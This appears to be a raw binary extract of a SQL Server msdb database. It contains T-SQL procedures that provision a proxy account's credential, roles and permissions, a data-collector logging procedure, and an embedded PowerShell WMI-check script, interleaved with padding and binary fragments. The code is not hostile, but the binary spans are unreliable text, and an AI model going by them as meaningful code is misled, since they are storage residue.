      EXEC sp_executesql @create_credential
   END


   set @create_credential = 'CREATE CREDENTIAL ' + QUOTENAME(@credential_name) + ' WITH IDENTITY=N' + QUOTENAME(@network_account, '''') + ', SECRET=N' + QUOTENAME(@password, '''')
   set @print_credential = 'CREATE CREDENTIAL ' + QUOTENAME(@credential_name) + ' WITH IDENTITY=N' + QUOTENAME(@network_account, '''')
   RAISERROR (@print_credential, 0, 1) WITH NOWAIT;
   EXEC sp_executesql @create_credential

   
   IF EXISTS(SELECT * FROM dbo.sysproxies WHERE (name = @proxy_name))
   BEGIN
      EXEC dbo.sp_delete_proxy @proxy_name=@proxy_name
   END
   
   EXEC dbo.sp_add_proxy @proxy_name=@proxy_name, @credential_name=@credential_name, @enabled=1

   EXEC dbo.sp_grant_login_to_proxy @msdb_role=N'dc_admin', @proxy_name=@proxy_name

   -- Grant the cmdexec subsystem to the proxy.  This is the subsystem that DC uses to perform upload.
   EXEC dbo.sp_grant_proxy_to_subsystem @proxy_name=@proxy_name, @subsystem_id=3
      
   -- Allow the account to see the table schemas.  This is because DC checks to make sure the mdw
   -- schema matches the schema on the client.   

   -- One cannot grant privledges to oneself.
   -- Since the caller is creating users by virtue of this sproc, it already can view server state
   -- So, only grant veiw server state if the network_account is not the caller
   IF( SUSER_SID() <> @network_account_sid )
   BEGIN       
       -- GRANT VIEW SERVER STATE requires the expression to be executed in master.
       SET @expression = N'use master; GRANT VIEW SERVER STATE TO ' + QUOTENAME(@network_account)
       RAISERROR (@expression, 0, 1) WITH NOWAIT;
       EXEC sp_executesql @expression
   END
       
   -- Add a user to the msdb database so that the proxy can be associated with the appropriate roles.
   
   -- The user might already be associated with a user in msdb.  If so, find that user name so that
   -- roles can be assigned to it.
   DECLARE @user_name SYSNAME = (SELECT name FROM msdb.sys.database_principals WHERE sid = @network_account_sid)
   
   -- The "special principles" are not allowed to have roles added to them.
   -- The database Users in the "special" category are dbo, sys, and INFORMATION_SCHEMA.  
   -- dbo is the only one that can have logins associated with it.
   -- The following only checks dbo because the network_account has an associated login.
   -- The else case (the user is msdb dbo), then they are effectively sysadmin in msdb and have 
   -- the required permissions for the proxy, and there is not need to grant roles anyway.
   IF ((@user_name IS NULL) OR (@user_name <> N'dbo'))
   BEGIN
        
        -- This login doesn't have a user associated with it.
        -- Go ahead and create a user for it in msdb
       IF( @user_name IS NULL )
       BEGIN
          SET @user_name = @network_account
          SET @expression = N'CREATE USER ' + QUOTENAME(@user_name)
          EXEC sp_executesql @expression 
       END; 
       
       -- Allow the user to view the msdb database metadata.  This allows DC (and ssis) to verify
       -- the proxy's privledges.
       -- One cannot grant privledges to oneself.
       IF( SUSER_SID() <> @network_account_sid )
       BEGIN
           SET @expression = N'GRANT VIEW DEFINITION TO ' + QUOTENAME(@network_account)
           RAISERROR (@expression, 0, 1) WITH NOWAIT;
           EXEC sp_executesql @expression
       END

       -- Adding roles is idempotent, so go ahead and add them.
       
       -- This role necessary for the proxy
       EXEC sp_addrolemember @rolename=N'dc_proxy', @membername=@user_name

       -- It needs to read the Utility tables.  It requires execute permissions on the dac performance sp, so writer role is required.
       EXEC sp_addrolemember @rolename=N'UtilityIMRWriter', @membername=@user_name
   END

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,`MN<H/)U0H 8

CREATE PROCEDURE [dbo].[sp_sysutility_ucp_provision_proxy_account]
   @network_account sysname,
   @mdw_database_name sysname
AS
BEGIN
   DECLARE @retval INT
   DECLARE @null_column    sysname
   DECLARE @expression NVARCHAR(MAX) = N''
   DECLARE @network_account_sid varbinary(85)
    
   SET @null_column = NULL

   IF (@network_account IS NULL OR @network_account = N'')
       SET @null_column = '@network_account'
   ELSE IF (@mdw_database_name IS NULL OR @mdw_database_name = N'')
       SET @null_column = '@mdw_database_name'

   IF @null_column IS NOT NULL
   BEGIN
       RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_provision_proxy_account')
       RETURN(1)
   END

   IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE name = @mdw_database_name)
   BEGIN
        RAISERROR(37002, -1, -1, @mdw_database_name)
        RETURN(1)
   END

   SET @network_account_sid = SUSER_SID(@network_account, 0) -- case insensensitive lookup
   SET @network_account = SUSER_SNAME(@network_account_sid)  -- get the caseing of the user that the server recognizes
   IF NOT EXISTS (SELECT sid FROM msdb.sys.syslogins WHERE sid = @network_account_sid)
   BEGIN
        SET @expression = N'USE msdb; CREATE LOGIN '+ QUOTENAME(@network_account) + ' FROM WINDOWS;'
        EXEC sp_executesql @expression
   END 

   DECLARE @is_sysadmin INT
   SELECT @is_sysadmin = 0
   EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @network_account, @is_sysadmin_member = @is_sysadmin OUTPUT

   IF (@is_sysadmin = 0)
   BEGIN
      DECLARE @print_expression nvarchar(500)
      SET @print_expression = @network_account + ' is NOT a SQL sysadmin'
      RAISERROR (@print_expression, 0, 1) WITH NOWAIT;

      IF NOT EXISTS(SELECT * FROM msdb.sys.database_principals WHERE sid = @network_account_sid)
      BEGIN
         SET @expression = N'USE msdb; CREATE USER ' + QUOTENAME(@network_account) +';'
         EXEC sp_executesql @expression    
      END;

      EXEC msdb.dbo.sp_addrolemember @rolename='dc_proxy', @membername=@network_account

      DECLARE @grant_expression nvarchar(4000)

      IF NOT EXISTS
      (SELECT name from master.sys.databases
       WHERE @network_account_sid = owner_sid
       AND database_id = DB_ID(@mdw_database_name))
      BEGIN
         set @grant_expression =
         'IF NOT EXISTS(SELECT * FROM ' + QUOTENAME(@mdw_database_name) +'.[sys].[database_principals] WHERE sid = SUSER_SID(' + QUOTENAME(@network_account, '''') +', 0))

         BEGIN
            RAISERROR (''Creating user ' + QUOTENAME(@network_account) + ' in ' + QUOTENAME(@mdw_database_name) + ''', 0, 1) WITH NOWAIT;
            USE ' + QUOTENAME(@mdw_database_name) + '; CREATE USER ' + QUOTENAME(@network_account) + ';
         END;

         RAISERROR (''Add to UtilityMDWWriter role'', 0, 1) WITH NOWAIT;
         EXEC ' + QUOTENAME(@mdw_database_name) + '.[dbo].[sp_addrolemember] @rolename=''UtilityMDWWriter'', @membername=' + QUOTENAME(@network_account) + ';'

         RAISERROR (@grant_expression, 0, 1) WITH NOWAIT;
         EXEC sp_executesql @grant_expression
      END

   END

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`WO<
"Mm)YN0I D8yh<`.=0HI 3	8
CREATE PROCEDURE [dbo].[sp_syscollector_event_onpackageend]
    @log_id bigint
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Check the log_id
    DECLARE @retVal INT
    EXEC @retVal = dbo.sp_syscollector_verify_event_log_id @log_id
    IF (@retVal <> 0)
        RETURN (@retVal)

    -- Mark the log as finished
    UPDATE dbo.syscollector_execution_log_internal SET
        finish_time = GETDATE(),
        [status] = CASE
            WHEN [status] = 0 THEN 1 -- Mark complete if it was running
            ELSE [status]            -- Leave the error status unchanged
        END
    WHERE log_id = @log_id

    DECLARE @runtime_execution_mode smallint
    DECLARE @status smallint
    SELECT @status = [status], @runtime_execution_mode = runtime_execution_mode
    FROM dbo.syscollector_execution_log_internal
    WHERE log_id = @log_id

    -- status was successful and this is logged by an upload package
    IF @status = 1 AND @runtime_execution_mode = 1
    BEGIN
        -- if the package ended succesfully, update the top most log to warning if it had failure
        -- this is because if there were a previous upload failure but the latest upload were successful, 
        -- we want indicated a warning rather than a failure throughout the lifetime of this collection set
        DECLARE @parent_log_id BIGINT
        SELECT @parent_log_id = parent_log_id FROM dbo.syscollector_execution_log_internal WHERE log_id = @log_id;
        WHILE @parent_log_id IS NOT NULL
        BEGIN
            -- get the next parent
            SET @log_id = @parent_log_id
            SELECT @parent_log_id = parent_log_id FROM dbo.syscollector_execution_log_internal WHERE log_id = @log_id;
        END

        UPDATE dbo.syscollector_execution_log_internal SET
            [status] = CASE
                WHEN [status] = 2 THEN 3 -- Mark warning if it indicated a failure
                ELSE [status]            -- Leave the original status unchanged
            END
        WHERE
            log_id = @log_id
    END

    RETURN (0)
END
0NJ +8(getdate())0-nJ 
8CREATE FUNCTION [dbo].[fn_sysutility_mi_get_validate_wmi_script]()
   RETURNS NVARCHAR(MAX)
AS
BEGIN     
   RETURN 
'# This script verifies that the following WMI objects are queriable
$objectsToValidate = "Win32_MountPoint", 
                "Win32_PerfRawData_PerfProc_Process", 
                "Win32_PerfRawData_PerfOS_Processor",
                "Win32_Processor",
                "Win32_Volume",
                "Win32_LogicalDisk"
                
# The errorHappend variable keeps track of whether any class failed the check
$errorHappened=$false

# The SQL Agent Powershell subsystem does not have an interactive host associated
# with it, thus standard Write-Host and other host-based cmdlets have no place
# to write to.  This knowledge is used to tell if the script is in an Agent
# or if it is running on a standard PowerShell host.
$isNotConsole = ($host.Name -ne "ConsoleHost")
function Get-IsAgentStep
{
   $global:isNotConsole
}

# Writing to the agent logs is easiest to achieve with [Console]::Error.WriteLine
# If the script is in Agent, write through the Console directly.  If the script
# is not in Agent (someone is using it to debug), then just output to the pipeline.
function Write-AgentLog($object)
{
     if(Get-IsAgentStep)
     {
        [Console]::Error.WriteLine($object)
     } 
     else 
     {
        $object
     }
}

# Query the given WMI object and report pass or fail on the object.
function Validate-WmiObject([string] $wmiObject)
{
   process
   {
      Write-AgentLog "#Running Command:"
      Write-AgentLog "Get-WmiObject $wmiObject | Out-Null"
      
      # Use ErrorVariable and ErrorAction SilentlyContinue so that all of the 
      # objects can be tested without stopping the script or having spurrious messages
      # in the Agent logs.  
      Get-WmiObject $wmiObject -ErrorVariable wmiError -ErrorAction SilentlyContinue | Out-Null
      
      # Check the error message and report pass or fail
      if($wmiError)
      {
         $global:errorHappened=$true
         Write-AgentLog "#Command FAILED. Exception : $wmiError"
      }
      else
      {
         Write-AgentLog "#Command PASSED."
      }

   }
}

# Validate all of the Wmi objects.  If any one of them fail, then
# report an error.
function Validate-AllWmiObjects
{
   $objectsToValidate | %{ 
      Validate-WmiObject $_ 
   }
   
   if($global:errorHappened)
   {
      Write-Error -ErrorAction Stop "One or more WMI classes failed the test"
   }
}

# Automatically check the status of the objects if the script is running in Agent
# Otherwise, allow the user to call the Validate functions interactively.
if(Get-IsAgentStep)
{ 
   Validate-AllWmiObjects
}
'
END
08J %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
	`ub
Nު@30!		@8>Jxp_msx_enlistdbomaster0!	@28Dxp_regreaddbomaster0n	`V\sp_syspolicy_check_membershipdbo0n	pnsp_syspolicy_verify_object_set_identifiers0n	@Z`hsyspolicy_object_sets_internaldbomsdb01R	@HNVsysmaintplan_subplansdbomsdb0F	@HNVsp_post_msx_operationdbomsdb0F	@<BJsysdownloadlistdbomsdb0F	@8>Fsysjobserversdbomsdb0F	@TZbsystargetservergroupmembersdbomsdb0F	@>DLsystargetserversdbomsdb0)#=	@^dlsysutility_ucp_instance_policiesdbomsdb0)#=	@PV^sysutility_ucp_filegroupsdbomsdb0)#=	@sysutility_ucp_filegroups_with_policy_violations_internaldbomsdb0)#=	@v|sysutility_ucp_mi_file_space_health_internaldbomsdb0)#=	@NT\sysutility_ucp_databasesdbomsdb0)#=	@NT\sysutility_ucp_instancesdbomsdb0)#=	@rxsysutility_ucp_mi_database_health_internaldbomsdb0bG1	`\bsysutility_ucp_computer_policiesdbo0bG1	@^dlsysutility_ucp_computer_policiesdbomsdb0bG1	@NT\sysutility_ucp_computersdbomsdb0bG1	@NT\sysutility_ucp_instancesdbomsdb0bG1	@tzsysutility_ucp_computer_cpu_health_internaldbomsdb0bG1	`\bsysutility_ucp_policy_violationsdbo0bG1	@^dlsysutility_ucp_policy_violationsdbomsdb0bG1	@JPXsysutility_ucp_volumesdbomsdb0bG1		@zsysutility_ucp_mi_volume_space_health_internaldbomsdbergroupsdbomsdb03!	@HNVsystargetservergroupsdbomsdb0!	`FLsysssispackagefoldersdbo0!	`:@sysssispackagesdbo0lu"	@TZbsystargetservergroupmembersdbomsdb0lu"	@HNVsystargetservergroupsdbomsdb0'%"	`\bfn_syscollector_get_package_pathdbo0'%"	`flsyscollector_collector_types_internaldbo0'%"	p8sysssispackages0Ci#	